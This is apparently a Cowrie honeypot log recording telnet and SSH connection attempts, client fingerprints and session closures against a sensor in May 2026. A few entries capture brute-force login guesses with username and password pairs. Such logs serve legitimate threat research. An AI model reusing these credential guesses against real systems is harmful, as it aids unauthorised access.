{"eventid":"cowrie.session.connect","src_ip":"131.221.231.16","src_port":43762,"dst_ip":"10.17.0.5","dst_port":23,"session":"6989a4d2fd9a","protocol":"telnet","message":"New connection: 131.221.231.16:43762 (10.17.0.5:23) [session: 6989a4d2fd9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:27.537852Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":39838,"dst_ip":"10.17.0.5","dst_port":23,"session":"a30d7b36f034","protocol":"telnet","message":"New connection: 5.196.58.99:39838 (10.17.0.5:23) [session: a30d7b36f034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:31.761519Z"}
{"eventid":"cowrie.session.closed","duration":31.213139295578003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:32.263667Z","src_ip":"5.196.58.99","session":"85d384fb1f82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.145463943481445,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:32.357188Z","src_ip":"5.196.58.99","session":"a35c1b486efa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.312556982040405,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:36.242143Z","src_ip":"5.196.58.99","session":"a5b0d338c4e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":57126,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae8184b389a1","protocol":"telnet","message":"New connection: 5.196.58.99:57126 (10.17.0.5:23) [session: ae8184b389a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:38.235854Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":57132,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fa61dbf5d53","protocol":"telnet","message":"New connection: 5.196.58.99:57132 (10.17.0.5:23) [session: 7fa61dbf5d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:39.020420Z"}
{"eventid":"cowrie.session.closed","duration":13.423706293106079,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:40.961451Z","src_ip":"131.221.231.16","session":"6989a4d2fd9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49742,"dst_ip":"10.17.0.5","dst_port":23,"session":"92a0d478bdd7","protocol":"telnet","message":"New connection: 5.196.58.99:49742 (10.17.0.5:23) [session: 92a0d478bdd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:44.205329Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49756,"dst_ip":"10.17.0.5","dst_port":23,"session":"dee0c2988839","protocol":"telnet","message":"New connection: 5.196.58.99:49756 (10.17.0.5:23) [session: dee0c2988839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:47.260361Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49762,"dst_ip":"10.17.0.5","dst_port":23,"session":"a69e7d8c3d4a","protocol":"telnet","message":"New connection: 5.196.58.99:49762 (10.17.0.5:23) [session: a69e7d8c3d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:47.764284Z"}
{"eventid":"cowrie.session.closed","duration":30.872274160385132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:49.638320Z","src_ip":"5.196.58.99","session":"4514bc97b144","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77524447441101,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:52.050914Z","src_ip":"5.196.58.99","session":"4fd530427058","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.504090547561646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:54.168710Z","src_ip":"5.196.58.99","session":"5761e1bbb9ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":37898,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e982c79e87b","protocol":"ssh","message":"New connection: 209.99.189.177:37898 (10.17.0.5:22) [session: 8e982c79e87b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:00.183903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:00.189238Z","src_ip":"209.99.189.177","session":"8e982c79e87b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:00.317247Z","src_ip":"209.99.189.177","session":"8e982c79e87b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":35448,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c26bd65b530","protocol":"telnet","message":"New connection: 20.123.41.163:35448 (10.17.0.5:23) [session: 0c26bd65b530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:00.550740Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123456","message":"login attempt [ubuntu/ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:00.862856Z","src_ip":"209.99.189.177","session":"8e982c79e87b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42304,"dst_ip":"10.17.0.5","dst_port":23,"session":"64e0482dddcc","protocol":"telnet","message":"New connection: 5.196.58.99:42304 (10.17.0.5:23) [session: 64e0482dddcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:00.966635Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:01.993720Z","src_ip":"209.99.189.177","session":"8e982c79e87b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42300,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d529068be40","protocol":"telnet","message":"New connection: 5.196.58.99:42300 (10.17.0.5:23) [session: 1d529068be40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:02.349579Z"}
{"eventid":"cowrie.session.closed","duration":31.23641324043274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:02.997842Z","src_ip":"5.196.58.99","session":"a30d7b36f034","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.120936393737793,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:05.671534Z","src_ip":"20.123.41.163","session":"0c26bd65b530","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60014,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b27090de67e","protocol":"telnet","message":"New connection: 5.196.58.99:60014 (10.17.0.5:23) [session: 8b27090de67e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:08.504575Z"}
{"eventid":"cowrie.session.closed","duration":30.828039407730103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:09.063782Z","src_ip":"5.196.58.99","session":"ae8184b389a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.690842628479004,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:10.711141Z","src_ip":"5.196.58.99","session":"7fa61dbf5d53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.52","src_port":50140,"dst_ip":"10.17.0.5","dst_port":23,"session":"423c06b0f7e8","protocol":"telnet","message":"New connection: 65.49.1.52:50140 (10.17.0.5:23) [session: 423c06b0f7e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:11.502949Z"}
{"eventid":"cowrie.session.closed","duration":2.0756962299346924,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:13.578555Z","src_ip":"65.49.1.52","session":"423c06b0f7e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08278512954712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:15.288000Z","src_ip":"5.196.58.99","session":"92a0d478bdd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":63160,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4eff48637c9","protocol":"ssh","message":"New connection: 185.48.213.208:63160 (10.17.0.5:22) [session: e4eff48637c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:15.469309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:15.474185Z","src_ip":"185.48.213.208","session":"e4eff48637c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:15.594983Z","src_ip":"185.48.213.208","session":"e4eff48637c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testemail","password":"testemail","message":"login attempt [testemail/testemail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:16.110710Z","src_ip":"185.48.213.208","session":"e4eff48637c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:17.233877Z","src_ip":"185.48.213.208","session":"e4eff48637c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.230891704559326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:18.491131Z","src_ip":"5.196.58.99","session":"dee0c2988839","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.808531761169434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:18.572726Z","src_ip":"5.196.58.99","session":"a69e7d8c3d4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":47206,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf5708bd3629","protocol":"telnet","message":"New connection: 174.138.46.234:47206 (159.203.135.109:23) [session: cf5708bd3629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:19.832341Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":7120,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d6067720cd6","protocol":"ssh","message":"New connection: 155.4.244.179:7120 (10.17.0.5:22) [session: 1d6067720cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:20.298592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:20.303402Z","src_ip":"155.4.244.179","session":"1d6067720cd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":57406,"dst_ip":"10.17.0.5","dst_port":23,"session":"da2edcd72fb3","protocol":"telnet","message":"New connection: 5.196.58.99:57406 (10.17.0.5:23) [session: da2edcd72fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:20.460017Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:20.884191Z","src_ip":"155.4.244.179","session":"1d6067720cd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"P@SSWORD123","message":"login attempt [test/P@SSWORD123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:21.294177Z","src_ip":"155.4.244.179","session":"1d6067720cd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":47658,"dst_ip":"159.203.135.109","dst_port":23,"session":"94342e357a6d","protocol":"telnet","message":"New connection: 174.138.46.234:47658 (159.203.135.109:23) [session: 94342e357a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:21.356174Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":47684,"dst_ip":"159.203.135.109","dst_port":23,"session":"5131253bfcb1","protocol":"telnet","message":"New connection: 174.138.46.234:47684 (159.203.135.109:23) [session: 5131253bfcb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:22.380871Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:22.887553Z","src_ip":"155.4.244.179","session":"1d6067720cd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.8898088932037354,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:23.245793Z","src_ip":"174.138.46.234","session":"94342e357a6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.9338970184326172,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:23.314663Z","src_ip":"174.138.46.234","session":"5131253bfcb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":57410,"dst_ip":"10.17.0.5","dst_port":23,"session":"1248d2146e65","protocol":"telnet","message":"New connection: 5.196.58.99:57410 (10.17.0.5:23) [session: 1248d2146e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:23.506361Z"}
{"eventid":"cowrie.session.closed","duration":4.776817798614502,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:24.609058Z","src_ip":"174.138.46.234","session":"cf5708bd3629","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"184.105.139.67","src_port":26508,"dst_ip":"159.203.135.109","dst_port":23,"session":"d86f789e5ff4","protocol":"telnet","message":"New connection: 184.105.139.67:26508 (159.203.135.109:23) [session: d86f789e5ff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:29.708594Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":59772,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0175b2d702e","protocol":"telnet","message":"New connection: 5.196.58.99:59772 (10.17.0.5:23) [session: f0175b2d702e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:31.057182Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":59780,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e5c3f6ad4dc","protocol":"telnet","message":"New connection: 5.196.58.99:59780 (10.17.0.5:23) [session: 3e5c3f6ad4dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:31.378698Z"}
{"eventid":"cowrie.session.closed","duration":2.0763399600982666,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:31.784836Z","src_ip":"184.105.139.67","session":"d86f789e5ff4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.089565992355347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:32.056060Z","src_ip":"5.196.58.99","session":"64e0482dddcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":59792,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3e29fa82a84","protocol":"telnet","message":"New connection: 5.196.58.99:59792 (10.17.0.5:23) [session: f3e29fa82a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:32.332725Z"}
{"eventid":"cowrie.session.closed","duration":30.942443370819092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:33.291901Z","src_ip":"5.196.58.99","session":"1d529068be40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.583374738693237,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:39.087838Z","src_ip":"5.196.58.99","session":"8b27090de67e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":39404,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ea1feb4db13","protocol":"telnet","message":"New connection: 5.196.58.99:39404 (10.17.0.5:23) [session: 0ea1feb4db13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:49.771810Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":39408,"dst_ip":"10.17.0.5","dst_port":23,"session":"20198589c741","protocol":"telnet","message":"New connection: 5.196.58.99:39408 (10.17.0.5:23) [session: 20198589c741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:50.631906Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57058,"dst_ip":"159.203.135.109","dst_port":23,"session":"d37e1ec3533a","protocol":"telnet","message":"New connection: 174.138.46.234:57058 (159.203.135.109:23) [session: d37e1ec3533a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:51.468713Z"}
{"eventid":"cowrie.session.closed","duration":31.083115577697754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:51.542981Z","src_ip":"5.196.58.99","session":"da2edcd72fb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57104,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0ff1b71ef96","protocol":"telnet","message":"New connection: 174.138.46.234:57104 (159.203.135.109:23) [session: f0ff1b71ef96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:51.637525Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57192,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ac8b93f6187","protocol":"telnet","message":"New connection: 174.138.46.234:57192 (159.203.135.109:23) [session: 6ac8b93f6187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:51.930038Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":37458,"dst_ip":"10.17.0.5","dst_port":23,"session":"700321e4fdbe","protocol":"telnet","message":"New connection: 5.196.58.99:37458 (10.17.0.5:23) [session: 700321e4fdbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:54.064000Z"}
{"eventid":"cowrie.session.closed","duration":31.01078772544861,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:54.517038Z","src_ip":"5.196.58.99","session":"1248d2146e65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":58064,"dst_ip":"159.203.135.109","dst_port":23,"session":"b11dd1fa1d2f","protocol":"telnet","message":"New connection: 174.138.46.234:58064 (159.203.135.109:23) [session: b11dd1fa1d2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:54.981809Z"}
